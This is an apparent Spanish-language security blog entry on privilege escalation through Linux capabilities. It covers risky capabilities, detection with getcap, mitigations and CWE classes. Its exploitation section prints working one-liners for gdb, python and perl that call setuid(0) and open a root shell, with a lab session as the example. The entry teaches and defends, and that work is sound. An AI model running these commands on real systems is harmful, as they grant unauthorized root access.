cd ~/blog

~/vulns/linux-capabilities-privesc.md

Linux Capabilities Privesc

privescautor: Jordy Pérez Osorio aviso legal
privesccapabilitiesLinux

~2 min de lectura


1. Descripción técnica

Las Linux capabilities dividen los privilegios tradicionalmente asociados a root en unidades más finas, de modo que un binario pueda recibir solo el permiso concreto que necesita en lugar del bit SUID completo. Por ejemplo, ping necesita abrir sockets raw, lo que se concede con cap_net_raw en lugar de hacerlo SUID root.

El problema surge cuando un binario recibe una capability peligrosa que puede abusarse para ejecutar código o cambiar de identidad. Las más explotables son:

  • cap_setuid: permite al proceso cambiar su UID; si un intérprete la tiene, puede invocar setuid(0).
  • cap_setgid: permite cambios equivalentes sobre el GID.
  • cap_dac_read_search / cap_dac_override: permiten omitir comprobaciones DAC concretas sobre archivos y directorios.
  • cap_sys_admin, cap_sys_ptrace, cap_chown: conceden operaciones privilegiadas distintas cuyo impacto depende del programa que las recibe.

El sufijo +ep (effective, permitted) indica que la capability está activa para el binario.

2. Impacto de la vulnerabilidad

  • Escalada de privilegios a root cuando un binario con una capability peligrosa permite ejecutar código arbitrario (intérpretes, depuradores).
  • Lectura/escritura de archivos protegidos (con cap_dac_*), incluyendo /etc/shadow.
  • A menudo pasa desapercibida porque el binario no tiene el bit SUID, lo que la hace fácil de olvidar en un endurecimiento.

3. Condiciones necesarias

  1. Un binario con una capability peligrosa asignada (especialmente cap_setuid).
  2. Que ese binario permita ejecutar código o leer/escribir archivos arbitrarios (python, perl, ruby, gdb, tar, etc.).
  3. Acceso de ejecución al binario por parte del atacante.

4. Validación y detección

  • Listar binarios con capabilities en todo el sistema:
/usr/sbin/getcap -r / 2>/dev/null
# /usr/bin/ping cap_net_raw=ep
# /usr/bin/gdb cap_setuid=ep
  • Herramientas como LinPEAS marcan automáticamente las capabilities peligrosas.

5. Mitigación

  1. Asignar solo las capabilities estrictamente necesarias y nunca cap_setuid/cap_setgid a intérpretes o depuradores.
  2. Eliminar capabilities innecesarias: setcap -r <binario>.
  3. Auditar periódicamente con getcap -r /.
  4. Aplicar el principio de mínimo privilegio en los despliegues.

6. Explotación documentada

En 33-lower6, gdb tiene cap_setuid, lo que permite invocar setuid(0) y lanzar una shell de root:

killer@lower6:~$ /usr/sbin/getcap -r / 2>/dev/null
/usr/bin/ping cap_net_raw=ep
/usr/bin/gdb cap_setuid=ep

killer@lower6:~$ gdb -nx -ex 'python import os; os.setuid(0)' -ex '!bash' -ex quit
root@lower6:~#

Otros ejemplos (de GTFOBins) con cap_setuid:

# python
./python -c 'import os; os.setuid(0); os.system("/bin/sh")'
# perl
./perl -e 'use POSIX qw(setuid); POSIX::setuid(0); exec "/bin/sh";'

Las variantes documentadas incluyen cap_setuid sobre Python, Node.js, PHP y Perl en 024-slowman, 054-superhuman, 106-quick-2 y 10-magic. 064-thewall, 090-twisted y 037-oliva muestran que cap_dac_read_search habilita lectura de archivos protegidos, pero no convierte al proceso completo en root.

7. Clasificación

  • Tipo: Privilege Escalation / Security Misconfiguration
  • CWE:
    • CWE-250: Execution with Unnecessary Privileges
    • CWE-732: Incorrect Permission Assignment for Critical Resource

8. Referencias y conexiones

// relacionados